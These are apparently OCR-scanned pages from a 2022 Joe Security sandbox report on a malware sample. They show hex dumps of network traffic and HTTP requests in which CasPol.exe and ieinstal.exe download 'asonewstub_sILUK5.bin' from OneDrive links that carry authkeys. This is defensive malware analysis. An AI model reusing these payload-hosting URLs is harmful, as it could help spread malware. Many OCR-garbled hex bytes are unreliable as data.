a9 b8 ef 5¢c 61 6b fe c6 26 98 09 23 9f 2¢ 31 c2 9f 44 9e

Data Ascii: $Cd!X2rKZo&]KWIx$;8q5v\h OkeN..04-jcVVIQZMI.(k;xm(3y|I8czst10JC>NWS$Y;10/Y;_PFZE3@Mfp=*A9
IM<IQ(\ak&#,1D

Data Raw: 6b 8a 4d 3d 22 c6 76 09 89 51 42 50 57 1f f6 54 9e 49 db 88 3c 5a 6f 70 6f 47 2c 3f 34 ff ab 65 c6 96 9c c4 1d
aa 47 b9 21 01 b5 2c cc ¢5 10 9b 0a 5¢ 77 10 53 1c f8 ff 91 4a bf 43 2c 4e 6f d6 35 a4 16 8d dd 52 0f 53 59 b9 a3 45 fe
d6 7e 32 42 f1 a5 03 41 1c c5 f4 14 ¢7 81 96 €2 e0 99 36 b7 87 a7 44 80 01 72 8d 55 26 71 e2 77 cf a4 87 c4 37 67 42 2d
54 56 fe f4 ca 23 1f 64 fe 3c 98 b0 1a 89 ab dc 45 54 bb 63 9b 0f 87 31 a6 09 c6 e5 db 8e d7 2f af 7f 5f 6b 86 f3 27 19 Oe
76 73 e6 cb bc 36 b6 3e b0 cf 89 1f 3¢ 6d de 43 aa ef 9b ae 46 72 14 el 69 c6 56 2a fa 4c 12 1b 16 78 1c 8¢ 65 8b c1 5
937327 47 7c f2 34 a7 88 a5 61 d0 75 e7 d1 5e bb 23 8c 00 88 04 3c e2 7e b0 a4 ed a3 23 aa ea 13 04 be 6¢ 9e d3 43
d8 9a 69 c3 62 57 74 32 18 53 10 b9 €8 07 1b ec ae 89

Data Ascii: kM="vQBPWTI<ZopoG,?4eG!,\wSJC,No5RSYE~2BA6DrU&qw7gB-TV#d<ETcl/_k'vs6><mCFriV*Lxes'G|4au”
#<~#ICibWt2S

Data Raw: e8 fd 5¢c 9e 99 4a 5e db 5b 7e 5e 3f d8 15 e7 c4 24 78 26 6f 78 20 18 f0 44 88 2f 69 7c 46 6¢ 65 67 ea ce 4f 18
40 0b d4 79 e9 46 32 9a 30 a7 23 8f db ca 7f 53 da 6d b3 82 3e 13 64 c5 73 aa e7 Oe 78 b0 fe d3 9e 1e 54 e7 a9 d1 8b 8¢
7c 70 61 f8 2f 67 7f f2 f9 7e 2d 57 5c¢ f6 bf eb bd 65 9c 09 21 41 6a 26 9b fa 9c f9 63 3c 47 ec 45 81 68 d2 26 db bc e5 dc
92 0d Oc 5¢ 03 f8 e6 1a a5 6a al ea c3 06 64 ce 2a 45 fc 06 93 a2 25 d2 b4 ae b9 8e bf 8e 8e 24 ce 4d 14 25 31 e5 2f {6
cd cc ab d9 Oc 68 5f cd fa d2 0f b0 ae 68 f6 a3 10 d4 06 46 80 d3 c5 62 f8 eb 4e b2 69 33 1e 42 53 b3 3b 34 11 d5 bb 3¢
97 be 20391 el 76 c1 5d 6a 1d 12 78 2e 53 1e 21 ed d5 8c 6 52 45 57 ce 00 2e d6 6d e9 23 60 ee a5 c2 f4 e4 e8 40
be 8f Oc be a9 ea ea ad Oe 5a a3 9a 65 9d 60 d8 94 a7
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W.m# @ze’

Page 40 of 69



kBytes

Timestamp transferred Direction
2022-05-12 12:17:33 UTC 524 IN
2022-05-12 12:17:33 UTC 540 IN
2022-05-12 12:17:33 UTC 556 IN
2022-05-12 12:17:33 UTC 572 IN
2022-05-12 12:17:33 UTC 588 IN
2022-05-12 12:17:33 UTC 604 IN
2022-05-12 12:17:33 UTC 620 IN
2022-05-12 12:17:33 UTC 636 IN
2022-05-12 12:17:33 UTC 652 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 a4 el cb ee 5¢c 00 d4 e9 95 83 74 86 d3 e7 c0 f4 6d bc c9 b5 cc 33 2d ea 1c 9a 3e 93 93 ¢8 73 5d 2b 90 16
ee 13 b0 2d d2 30 24 ab 29 d3 de 06 e8 a0 b8 9d 68 00 d7 6b ef 59 5d c9 el f4 ed b7 39 d1 4b 50 dO b5 1b ed ad 7e d2
a4 39 97 76 af f6 63 c0 89 58 77 el c7 93 9a f4 Oe d7 59 af e5 ed 57 f8 cc €3 94 32 b6 1c 32 f4 ca 95 57 81 57 02 88 c6
b9 04 f2 d3 f6 1b 52 97 f2 43 55 7a 0b 7c bd 2f b4 f6 1a 11 ba Oc 5c 46 2a 1f 36 1b 93 Oe 87 al 3d 6¢ 91 3e 87 99 21 da
cc fc 5d 66 06 3e ee da f9 01 3c 19 ea c7 08 39 11 31 4e f1 15 92 60 b8 7f 9b 0a 99 cf 5a ea 95 79 cc 82 3e e4 9f f1 38 f3
5039 03 3f fc b0 fd Ob 36 fc ff ec ff 81 e5 99 76 a2 ae 79 07 Oe 5d 7 d5 56 37 94 a8 86 56 b1 a0 e4 24 7e e7 80 3a 7f ce
4d f3 €9 97 35 9a cc 47 53 dd 7d 76 57 9e ad c1 cf 24

Data Ascii: '\tm3->s]+-0$)hkY]9KP~9veXwYW22WWRCUz|\F*6=I>1]f><91N"Zy>8P9?6vy]V7V$~:M5GS}VW$

Data Raw: 1c 28 36 2a 82 b0 d6 b6 f2 6e e5 14 55 f6 e3 e2 0d 13 fe 20 12 5a 60 1c 60 ec 42 73 8d cd 73 c2 2e f6 72 26
ee 29 22 13 f2 97 05 b8 fO 4 6e c2 68 a3 2b 43 8b 8¢ f1 37 49 ae ee a8 cf e8 6b €3 54 c0 11 b1 46 a9 38 1e 49 53 d8 7a
de 53 5¢c b3 a0 93 63 6¢ af 08 02 45 46 42 16 al 24 88 c8 11 61 35 c8 83 29 18 2c Ob 43 25 61 fa 57 66 a8 66 42 b3 Ob
91 c4 9d 51 40 30 69 9e a4 44 b7 6d 0d 90 bd b7 8b 93 95 85 d5 25 ba ce aa 64 ad f9 4d 9d 5f 58 48 df Of 81 4e 10 Oa 2e
65 db 33 9f a0 fc fc bb 68 b5 61 0b 8b 5b 19 f5 02 5e 2e ab cd 6¢ 72 fd ca ba db ¢5 9b dd 08 bd 4b f5 €8 18 89 9d 2a 98
b9 b3 83 5a c3 08 f5 b8 75 f2 al 7b 7b ea 5d c6 24 b8 f8 7a ce 5¢c 56 c7 f4 9f ac 88 54 8e b1 cd fa 6e 6a 48 59 97 ad 60
6349 0d a7 f342 67 72 22 5b ad 70 06 e5 0f 3f 49 9b 75 b4

Data Ascii: (6*nU Z"'Bss.r&)"'nh+C7IkTF8ISzS\cIEFB$a5),C%aWffBQ@0iDm%dM_XHN.e3ha[.IrK*Zu{{]$z\VTnjHY "cIBgr"
[p?Iu

Data Raw: a5 95 58 3c af 2f 53 08 da a2 56 03 Ob b1 e8 d1 64 49 9b fd cO 0f 58 76 57 f6 8d 0d b2 99 f9 7a 8b 65 52 fa ba
41 d0 4e 8b 31 ea 12 33 58 c6 7f cf ba a0 83 92 4c 83 b9 45 54 5f a2 1a f2 03 f2 2a e7 82 71 58 4d 26 50 90 9f 23 4c ba
3f 23 58 72 ab 4f 2f dO 2e a0 2f 85 1b 80 bf 92 d5 f3 79 82 ae 80 51 12 fb de 65 88 94 ef 0d 89 a7 79 08 45 79 6b 0d ac 83
1d 65 b2 24 d2 fO f8 41 8f c6 ed ec 1c 51 32 2a 5d e8 56 08 90 34 f9 8a fb 6¢ 8f 02 23 7c 84 08 80 3f 6b 8¢ 6f b8 Oa 1d 82
25 7f 5a 9e 92 8e 61 94 cc bd Ob 68 8e 8a a5 3c 69 3b f9 98 30 6d ce 2e c7 42 12 34 07 84 41 8c d7 9e 1f e4 86 61 08 ec
8a da 62 39 5e f9 bb b6 7a bf 55 b3 b9 c8 35 39 bc €9 76 34 9a cc 9a 9b 97 {6 22 e 8 ce 98 c9 €9 52 68 7a fe 46 98 4a
87 28 40 ba a2 6a 82 la cf 35 8e 86 a3 86 f5 fe

Data Ascii: X</SVdIXvWzeRAN13XLET_*qXM&P#L?#XrO/./yQeyEyke$AQ2*]V4l#|?ko%Zah<i;0m.B4Aab9"zU59v4"RhzF
J@js

Data Raw: a3 fO da 1d ef 6e 12 Oe fd f2 1b 82 a4 9d 40 8c 36 49 13 c4 67 76 c9 f0 78 dO 1le ca el 4b Of 38 9b 88 db €6 ae
45 d4 3b 3d 47 97 a2 eb 3e 5c 47 f0 ce d5 e0 5a ac df d5 ¢1 61 12 65 b7 80 67 39 73 7a 9a 6d 24 2c 5¢ bd 81 fd 8f 13 {3
241899 24 15 c2 4a 73 8d 88 45 a6 4b b3 26 b3 21 9b 18 01 03 9d b4 08 1e 1d Ob 73 5b f3 01 19 7c df 13 fd b7 d1 41 95
ed cf cd Oe 8d Of 3b 6f 8a Of 71 cd d4 3b 5d 56 €0 33 9c bl Oc db 45 7b 42 71 f6 d6 bc c3 b9 9b ae d8 ad a7 e6 59 40 b2
36 cb 00 27 1a 08 26 12 3e 50 dc 55 d6 17 13 eb bb 84 06 97 e0 7f 3b ad f1 3¢ 90 22 d5 c4 cc f5 e7 3d ea d6 2f 7f c9 1e
6e e4 45 b9 4a 26 32 Oc 5b b9 df a6 bb 17 a6 7d 4a 4e bb d2 72 db c6 81 95 Oc 7f 9d f1 ec f3 fc 78 9f be 33 f9 53 11 5f dc
7f20d2 61 11 1b e4 70 35 25 77 dc 33 ad 80 aa c3

Data Ascii: n@6IgvxK8E;=G>\GZaeg9szm$,\$$ISEK&!S[|A;0q;]V3E{BqY @6'&>PU;<"=/NEJ&2[}INrx3S_ ap5%w3

Data Raw: ab ea 6d 56 cc fb ed 91 a3 60 b8 7b Oe 49 ca 18 13 3c ba 7d 47 b8 b4 e3 e4 7c ¢7 71 8¢ 57 09 1le 32 a0 09 e8
2997 a7 a5 le 38 6¢ bd 7f €2 bd 2d 50 e4 f9 85 8d ae 1c 94 3e 49 69 4f 1c 66 6b 85 7e al c6 fd 9b 7a 8f 78 86 Of 7 f4 d2
8afacl 7d Ob 7c 9b 79 fd 24 bc 09 44 7c 22 cd c1 de bd 0f c9 cf a2 9a 90 19 d2 05 55 ec 6b 51 48 77 b3 e7 94 c1 6b d5
d4 0a 97 6¢ 88 87 97 09 f4 ff ¢5 33 94 73 16 b8 16 1b 2c 58 01 5a 84 9d 79 b8 {7 05 56 ea d5 03 71 25 5d 69 3b a4 21 ed
40 c6 da 29 fb fb 83 €7 01 85 c8 ad 92 e8 47 9d c0 8b 20 6a 34 23 11 03 4e 4c 6f 61 76 d4 28 bl 5f ca eb 31 0b 76 5b 9a
ccc7221c 6177 381407 9c 67 af 52 ed c0 8b 5b 13 32 8f c0 92 a0 b5 82 31 c1 31 a2 49 ab b5 5 f5 99 03 4f 2f d7 55 ef
6592 70 e4 6f 48 a0 75 c9 a6 7d 26 c8 82 a7 e8 5e

Data Ascii: mV'{I<}G|qW2)8I-P>1iOfk~zx}|ly$D|"UkQHwWkKI3s,XZyVq%]i;!@)G j4#NLoav(_1v["aw8gR[21110/UepoHu}&”

Data Raw: 7c¢ 80 5b 33 c2 d2 8b c4 96 21 7a 23 65 6f 44 73 85 fb a8 c1 28 ae 32 f9 d2 1b 4d 48 el 62 ab cb b6 b7 al 9¢c
67 3c 47 f3 01 ff b9 b6 e6 f8 7d 4d 4a 23 0d 0d d3 {7 71 e3 95 65 9c ac 6a 77 06 18 a9 a8 43 33 ce 93 a2 2e 73 f9 45 99
b1 6e 95 da 60 4a 1d f9 b2 db 1a 70 1a 78 45 d8 35 55 ed 05 a5 3b 5d 08 b4 ae af 48 19 88 d4 Oe a9 59 e0 7 8¢ c8 03 c2
40 1d 4d 4e 58 f5 b3 bd 75 fd al 71 08 84 e9 be 8c d4 39 f4 a6 e7 da 70 17 78 2e 4f 97 76 ed db 63 e0 38 45 6¢ dd 57 71
59 28 31 45 08 54 15 b2 f1 e4 e8 b0 42 db Oc af 26 3a 61 77 2c 9a 71 f6 42 16 3d Oc 77 97 aa 6e a0 25 49 ba 38 35 7d 73
02 08 d0 b8 14 10 1a 2c ¢4 3c 93 ¢9 5d b7 72 a0 48 d4 3f 44 8b 5b ad ¢5 75 1b 20 3d ec 32 dc 2a a9 d0 21 ff 45 00 c7 13
15 ¢4 c9 88 9c 79 bf 0a 3a 24 al e5 3f e3 af d7 c9 ad 14

Data Ascii: |[3!z#eoDs(2MHbg<G}MJ#qejwC3.sEn’ JpxE5U;JHY @ MNXuq9px.Ove8EIWQY (1ETB&:aw,qB=wn%I85}s,<]rH?
D[u =2*IEy:$?

Data Raw: e8 e8 ad f7 51 ac 8f 33 e0 7d 1d 09 9c 29 0d 7a 97 12 3 f3 54 d2 d0 f6 dO 6b 2d f9 a8 8d Oc c2 5e 35 f6 38 5a
d8 df b3 ad 4a 69 c6 9c 9b ce 50 52 8d c2 e2 7e 2 2e 1 f0 39 b6 7c ee 79 11 c4 6e 03 8e 73 f1 2d da df 4a 36 0d cf d0 9a
d6 8 6d Of ea 57 98 fe cO d1 2e al 5c c1 11 d5 ff e8 a4 66 56 8f b7 3a 50 5d 31 78 29 73 60 b8 9f f9 fe 51 ¢8 c9 a7 b3 c8
6e 2d 3b 83 ea f8 03 bd c6 a3 60 84 e4 a3 5a 77 3b 31 69 25 fb eb e7 f8 61 7 a4 2d fe Oc 01 f4 3 58 8f eb 23 79 03 62
a9 b0 69 9 17 b5 13 e8 ba 3a 7c d5 76 35 9a ea 21 27 14 b6 2 d2 5e d7 Ob 74 9c ef ed ba 8b c3 f5 00 87 12 45 1d 19 44
2b 1c 2d 77 49 86 b5 30 12 41 04 f0 57 4d 48 a8 0d b3 47 2d 6f 3f a0 4d 21 a3 7a ec 84 32 60 e4 03 75 8d aa 6b 1a e0

89 8a 54 ¢3 58 34 7b dd b4 05 ea 15 59 d8 5¢ 36 be

Data Ascii: Q3})zTk-"58ZJiPR~.9|yns-J6mW.\fV:P]1x)s Qn-; Zw;1i%a-X#ybi:|v5!"YED+-WIOAWMHG-0?M!z2 ukTX4{Y\6

Data Raw: ae ba 40 86 a2 51 19 57 ff 85 5a 77 42 dc 51 7d 8d 70 96 da aa 20 5d 01 71 c6 el 7a 7b 39 6e Oa €8 04 ad 6e
5c 91 7a 6d 0f 18 50 2c 5f 14 22 67 63 85 €8 75 ad d5 3e 94 4f 05 Oc 7a 9b 78 72 31 fb 2b 40 bb 20 d6 4c 3a 7e 77 1c 6
a4 fd 48 d9 86 92 57 le cc 22 1c 62 bl f4 10 ca 02 cd 5d 30 e3 c5 37 49 4c 9e e8 f8 f4 dd 2a ae f5 06 1d c9 ec 3a a9 77
d0 52 94 fa 6f 43 54 4f 77 38 1d 97 ea 41 72 ch e2 7e 97 95 ed 33 e6 67 dO 11 72 28 68 b1 c5 bb 09 57 f8 9c ae a5 c3 e2
77 7b b8 1b 1a 53 b8 9c 4b ¢8 7f 76 b9 2e 31 8a 90 f3 Oa 1c 3c ff 1a 2e 0d a8 60 36 38 64 06 97 53 9d e0 ce d5 1a 16 dc
ac 93 88 f8 89 2f 04 ed 02 cf 83 34 92 07 7a ¢3 0d 19 c8 Oe cb 61 6e 9c 32 78 41 62 b6 ca f8 b7 d3 fd 85 82 97 94 04 7a
ca 37 c9 3e bc 7a 8e ¢4 bd 28 42 f2 al d9 2f b2 6¢ 5¢ 08

Data Ascii: @QWZwBQ}p ]gz{9nn\zmP,_"gcu>Ozxrl+@ L:~wHW"b]07IL*:wRoCTOW8Ar~3gr(hWw{SKv.1<."68dS/4zan2
xAbz7>z(B/I\

Data Raw: bd 59 50 d1 f9 d8 8d ac 1c a5 3e 28 69 4e 1c 6¢ 6b a8 7e 81 c6 ef 9b 1f 8f 7f 86 2d 7 ab d2 95 fa cc 7d 62 7c
8279 e224 9109 63 19 35 ae 83 ad de 0f f7 aa a4 d9 93 77 al 6a 39 89 49 38 5¢ 13 f1 90 el c1 11 d5 b4 79 9c 3b 80
€987 66 ed bc a9 52 e7 00 60 b8 3c 77 6e 2b 12 5a ea 9d 18 b8 8f 05 7d a5 b6 4c 5e 71 18 69 16 89 76 c0 05 eb da 04
b5 d6 c6 ca 5f a8 e5 80 bf ¢5 10 b0 85 a6 20 47 7a Oe 73 03 1a 66 4f 33 13 b9 31 de 44 ea b0 31 62 56 1f ba 8e b5 3d 7d
62 1le 7b 73 3c f9 6f da 20 84 ce f2 1d 7d 7a fb a7 92 cf b5 af 1c 96 1c e7 64 ab 98 ab d8 d3 2e 62 02 80 78 aa 48 92 5d
bd 42 12 8d 58 e4 d6 77 53 c8 af a7 c6 12 3e f9 24 46 5b a5 20 53 79 fc ca ea 6e 08 44 5a 19 67 d6 ed 6a 36 47 e4 2a 81
b4 d5 4f 20 04 5e ¢7 92 2b 24 a4 83 d3 b9 1d 18 92 36 72 2c

Data Ascii: YP>(iNIk~-}bly$c5wj918\y;fR <wn+Z}L giv_ GzsfO31D1bV=}b{s<o }zd.bxH]BXwS>$F[ SynDZgj6G*O "+$6r,
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kBytes

Timestam
P transferred

2022-05-1212:17:33 UTC 668

2022-05-12 12:17:33 UTC 684

2022-05-12 12:17:33 UTC 700

Session ID Source IP

2 192.168.11.20
. kBytes

Ti t
tmestamp transferred

2022-05-12 12:19:06 UTC 705

2022-05-12 12:19:06 UTC 705

Session ID Source IP

3 192.168.11.20
. kBytes

Timestamp transferred

2022-05-12 12:19:06 UTC 706

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49774

Direction

ouT

Source Port

49775

Direction

ouT

Data

Data Raw: 08 7b 49 1d 74 76 d7 f7 71 93 f2 20 dd ec 2d 33 43 22 89 a5 Oa 7a 81 df ef e8 5b ec 14 cf €6 3a c0 18 50 57
44 a6 b6 db 1a dO 7d 3d 45 de 31 55 ed a9 c2 7e 5d 0f b0 ae af f0 7e cd d4 06 ad 59 e0 33 eb 8d 03 cb 44 1d 4d 9e 3f b0
b3 b6 71 fd al ad 6f c1 €9 b2 88 d4 39 1c c1 a2 da 7d 13 78 2e bb f0 33 ed d5 67 €0 38 45 04 98 57 7e 5d 28 31 49 60 11
15a2 f5 e4 e8 a8 2a 9e Oc be 22 3a 61 53 44 df 71 e4 46 16 3d 3c 1f d2 aa 7d a4 25 49 86 50 70 7d 67 06 08 dO fO 7c 55
1a 39 c0 3c 93 9d 35 f2 72 b6 4c d4 3f 24 e3 1e ad dd 71 1b 20 51 84 77 dc 33 ad d0 21 87 2d 45 ¢7 09 11 c4 c9 Oc f4 3c
bf 11 3e 24 al 75 57 a6 af cb cd ad 14 01 a3 a5 7f cf 3d c¢6 a4 26 55 3b c3 ba 26 4b €0 b3 fd 19 32 ec 47 93 45 67 9b Od
b2 5a e0 f1 35 38 3c 54 73 b4 3c 41 b9 e5 38 92 a2 61 db

Data Ascii: {Itvq -3C"z[:PWD}=E1U~]~Y3DM?qo9}x.3g8EW~](1I *":aSDqF=<}%IPp}g|U9<5rL?$q Qw3!-E<>$uW=&U
;&K2GEQgZ58<Ts<A8a

Data Raw: 7a 8f f2 86 7d f7 26 d2 fa fa 55 7d Ob 7c 11 79 87 24 6e 09 31 7c a7 cd ec de 21 Of b0 cf 2f 9a fc 19 2d 05 55
ecel 51327761 e6 el cO ee 2a 46 8e 04 93 4¢c 87 1c 09 9a ff c5 33 94 73 60 b8 7f 1b 01 58 77 5a ea 9d 79 b8 8f 05 3e
ea f8 03 Ob 25 3c 69 3b a4 5b 12 8d c6 08 cd 25 79 14 e7 77 85 37 ad 83 e8 c2 9d b2 8b f2 6a 4e 23 86 03 2e 4c 90 61
7d d4 ad bl 3e ca 3931 72 76 ca 9afc c7 a7 1c 3b 77 ea 14 71 9c 3 af 5a ed 45 8b 33 13 e0 8f ad 92 30 b5 82 31 44 31
ca 49 79 b5 86 f5 01 03 4f 2f 52 55 87 65 40 70 90 6f cO a0 75 c¢9 23 7d 53 ¢8 50 a7 92 5e 92 c8 17 6b e5 e0 73 62 b4 c4
e7 ad d2 45 69 09 ae 26 e4 d8 a3 36 06 a8 99 81 f0 90 f6 61 51 12 6¢ 92 6e 67 1f d0 92 b9 e2 18 e0 54 8d 2c 9e 13 bl b1l
5189 86 18 89 c0 91 a6 c3 6a 80 f5 aa €6 3d 14 02 76 c8

Data Ascii: zZ}&U}|ly$n1|!//-UQ2wa*FL3s XwZy>%-<i;[%yw7jN#.La}>91rv;wqZE301D1lyO/RUe @pou#}SP"ksbEi&6aQln
gT.Qj=v

Data Raw: a6 d3 93 6f 89 4d aa 91 59 ec 79 86 38 94 cb 27 ec 83 e7 ca Oa fa €9 10 6d c0 91 83 46 10 37 e9 96 d6 c8 be
5 3e 3e 5f 61 ef 0a f4 b4 28 f2 7e 24 68 a4 b3 8a 21 8c b2 c¢7 56 97 39 fd b2 8e e5 e8 b2 20 5e 9e 7f 41 13 48 2b bb 10
33 ed d5 16 dO b6 75 16 a9 79 4f 8b 19 15 7a 89 22 ed 91 f2 dO c4 9c 64 aa 7f 8a 99 Oe a2 67 8f eb fe d1 d1 23 f7 09 c6
e7 42 48 80 13 28 b0 cf 46 a6 51 f9 3e c6 c7 62 62 5f Oe 8e Ob ch aa 57 c5 1le 81 3a e3 bf 13 69 29 39 ea ef 2c 88 66 36
40 60 04 6b e7 f1 b0 {7 72 23 3e ff f3 31 3b €7 04 89 29 67 1c d5 4d d8 9e 36 f3 6e 95 b9 39 14 9d bd 7 {3 fe 7c 1e b7 03
2f 82 d0 73 e0 8a 7 20 26 d5 59 aa 6¢ 5e ae 34 fb 63 b3 ¢8 68 01 5b 6d 02 8d 47 78 3¢ dc b7 ab 3b 58 78 64 8f ba 24 23
38 d3 4d 2a 2e c4 2d 18 83 ab 05 f7 8¢ ¢5 Oc 54 69 9a

Data Ascii: oOMYy8'mF7>>_a(~$h!V9 "AH+3uyOz"dg#BH(FQ>bb_W:i)9,f6 @ kr#>1;)gM6Nn9|/s &YI"4ch[mGX<;Xxd$#8M*.-
Ti

Destination IP CEIREL Process
Port
13.107.43.13 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsSNkOIM HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: onedrive.live.com

Cache-Control: no-cache

Cookie: MUID=20718A960FA8687F03949A000BA86CTA; wlad2=

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/html

Expires: -1

Location: https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUIOdCsX5pbb6sR
hAFyyWOrsiikzIYNIG3aN6ru2QI2Jocl96QMckoK GjZLRdv33V4FgJIT3eaTuEf wqTXNdhutLMwhMLh-VKMKO_Lpr
FAOjs6TmBR3J7sRcYsKdRqB400cy23CLaBXHZNwliA1LrPOgAPIE2b6fOWIjj8SBigNoMxg/asonewstub_sILUKS5.bin?
download&psid=1

Set-Cookie: E=P:RZPrmxE020g=:98Zwvt1wDTRI/3U+DCgnpL37dVH/az2IZdelFeDwvdQ=:F; domain=.live.com; path=/
Set-Cookie: xid=85174099-90ee-4bfb-9dc9-2193858b4ff6&&RDE42AACI3CC33&172; domain=.live.com; path=/
Set-Cookie: xidseq=1; domain=.live.com; path=/

Set-Cookie: LD=; domain=.live.com; expires=Thu, 12-May-2022 10:39:06 GMT; path=/

Set-Cookie: wla42=; domain=live.com; expires=Thu, 19-May-2022 12:19:06 GMT; path=/

X-Content-Type-Options: nosniff

Strict-Transport-Security: max-age=31536000

X-MSNServer: RDE42AAC93CC33

X-ODWebServer: centralus0-odwebpl

X-Cache: CONFIG_NOCACHE

X-MSEdge-Ref: Ref A: 523707DC32C64D1AA7F31718E62A9421 Ref B: VIEEDGE1812 Ref C: 2022-05-12T12:19:06Z
Date: Thu, 12 May 2022 12:19:05 GMT

Connection: close

Content-Length: 0

Destination IP Destination Process
Port
13.107.43.12 443 C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Data

GET /y4mQ5yJoidY6HcwNbCc6pUgdD-mITQ7kZEuUD91b6ItEUIOdCsX5pbb6sRhAFyyWOrsiikZIYNIG3aN6ru2QI2
Jocl96QMckoKGjZLRdv33V4FgJIT3eaTuEf_ wgTXNdhuttMwhMLh-VKMKO_LprFAOjs6 TmBR3J7sRcYsKdRgB400cy
23CLaBXHZNwIiA1rPOgAP9E2b6fOWIjj8SBigNoMxg/asonewstub_sILUK5.bin?download&psid=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: srqeug.dm.files.1drv.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-05-12 12:19:07 UTC 706

2022-05-12 12:19:07 UTC 708

2022-05-12 12:19:07 UTC 711

2022-05-12 12:19:07 UTC 719

2022-05-12 12:19:07 UTC 727

2022-05-12 12:19:07 UTC 735

2022-05-12 12:19:07 UTC 743

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Cache-Control: public

Content-Length: 215104

Content-Type: application/octet-stream

Content-Location: https://srqeug.dm.files.1drv.com/yAmWmfXrC7pY_5e5zLdKHGbgTRTY7ru3PzSbuunLusBV8qgDfu
1gh_BHmMIBYNt8OW1VEV3ECDI9BYgCWI7BPKMRL3I_QKVVT11MIIN9hSr4VSwHWuHwge6WAOLmMC2pjKqMB
1QsnJYbORagFENWr5N37fINSAfTMQYpBHEStCRwnpCZp-PVTIbWinPrBkDxZgic8uK

Expires: Wed, 10 Aug 2022 12:19:07 GMT

Last-Modified: Wed, 11 May 2022 14:51:12 GMT

Accept-Ranges: bytes

ETag: BGAB3B5EAFD51867!312.2

P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"

X-MSNSERVER: DS1PPF728B4DCOC

Strict-Transport-Security: max-age=31536000; includeSubDomains

MS-CV: MKiP1lc3eU2Y2UjGQoEU1g.0

X-SglDataOrigin: S

CTag: aYzpCNKFCMOI1IRUFGRDUXODY3ITMxMidyNTc

X-PreAuthinfo: rv;poba;

Content-Disposition: attachment; filename="asonewstub_sILUK5.bin"

X-Content-Type-Options: nosniff

X-StreamOrigin: X

X-AsmVersion: UNKNOWN; 19.906.426.2003

X-Cache: CONFIG_NOCACHE

X-MSEdge-Ref: Ref A: 36DB84F6F4294F1AA85F0D9FDIBBIE28 Ref B: VIEEDGE2806 Ref C: 2022-05-12T12:19:06Z
Date: Thu, 12 May 2022 12:19:06 GMT

Connection: close

Data Raw: 2b 26 8d 86 3f be 39 26 45 ef 50 6d 83 97 a5 3b 79 0f 50 71 8d 71 1a e3 48 45 cd 8c 5d 68 50 22 a5 aa le 66
08 ee 2f 30 03 3e 8f f5 90 52 60 ad f4 25 6¢ 4d f9 04 98 c9 Oc 48 84 08 81 8e c0 d4 9d 35 9d ea b9 e8 76 aa 13 48 ba 41
le Oc 84 e5 ad 2f 55 1f a4 a7 6f 1b 08 3e 72 eb 33 67 94 cf fO 1e f5 dd d8 de f9 66 0d 60 fb Ob e0 35 2f f9 77 2a 7c 02 64
e22ce6 1c b7 1cfe f4 7c 48 f0 a9 ad a9 07 a2 13 07 a0 3a Oc 8e 56 e6 c6 7b 75 c9 ee 81 c5 1d ed bc da ca b6 1b 93 1b
78 a3 40 b1 59 65 74 07 62 8b fb cc df 42 cb 28 59 22 3 81 6 dd 4f f8 79 fa c0 3a 26 60 a3 39 51 93 80 e2 6¢ d2 48 bf 28
a3 e8cf 09 26 1b 1a 26 9b 19 a7 06 9c b5 5a a5 22 06 d5 e8 a7 f4 14 08 4f bc 5b 45 ea €8 80 54 78 64 f1 96 a3 b7 53 a4
50 85 05 99 ae 7d 3f a4 4c 89 33 af f3 47 8b c8 2e

Data Ascii: +&?9&EPm;yPqqHE]hP"f/0>R %IMH5VHA/Uo>r3gf 5/w*|d,|H:V{ux@Y etbB(Y"Oy: & 9QIH(&&Z"O[ETxdSP}?
L3G.

Data Raw: e4 6f de 3b 9e 6b f8 8e 47 ce 6b df 7a 83 2a 63 2a c0 f3 1b d3 dc 45 40 fd 13 8 f4 90 58 89 a4 24 72 3e ba 88
€2 34 27 67 08 85 4c 85 03 55 55 c5 aa 1d 59 ae 89 30 65 ed 32 2c d0 11 16 ea ba ec 5e €6 17 48 b0 e3 e6 €9 ac 8¢ 17
2f 53 bd a3 8f 22 1b 48 34 5a cc 33 67 92 e4 95 60 e6 dd d8 da e0 55 50 62 94 43 e0 35 25 87 6b 2a 7c 06 4c bd 2e e6
1a 9f 55 fc 74 7a 27 ba a7 b2 19 21 80 a5 Oe 6b 33 ff 8f 1a 21 ed 3d 1d 88 f7 a3 b5 69 aa 97 a8 ab d1 13 99 78 16 cb 07
8b 79 07 1b Of 7b fc 95 ea 9e 07 eb 6¢ 10 59 bf ee 99 bf 02 fe 74 {7 cc c0 2a 48 8e 39 51 99 a8 9¢ 29 d2 42 2d 29 8a e8
cd 8c 6d 79 1a 26 22 19 f6 Oc 9d b9 a7 a5 20 06 c5 d9 a9 f4 f4 34 4c bc 49 4d ea f9 a8 63 78 64 55 e2 cd b5 53 82 78 a6
0599 a4 77 41 b7 0c 89 37 99 c0 7d 8d e2 15 5f {8 4e b8 3f

Data Ascii: 0;kGkz*C*E@X$r>4'gLUUY0e2,"H/S"H4Z3g UPbC5%Kk*|L.Utz'1k3!=ixy{lYt*HIQ)B-)my&" 4LIMcxdUSxw

AT} _N?

Data Raw: 96 f1 83 1le 13 e8 ac 1b 0f a9 c5 f5 fd ce 93 6e da 9e a2 c1 05 ¢3 97 85 3a 7a 50 63 c3 al f2 d6 Oa 6f f4 9e f6
b1 f9 66 b5 2c 53 4a 49 b1 08 Oc 4d 89 fe b2 f1 41 ba f2 68 7d 4b 34 75 db 37 b5 15 ff 35 9f 1e 00 64 fe 18 90 f8 78 d3 ae
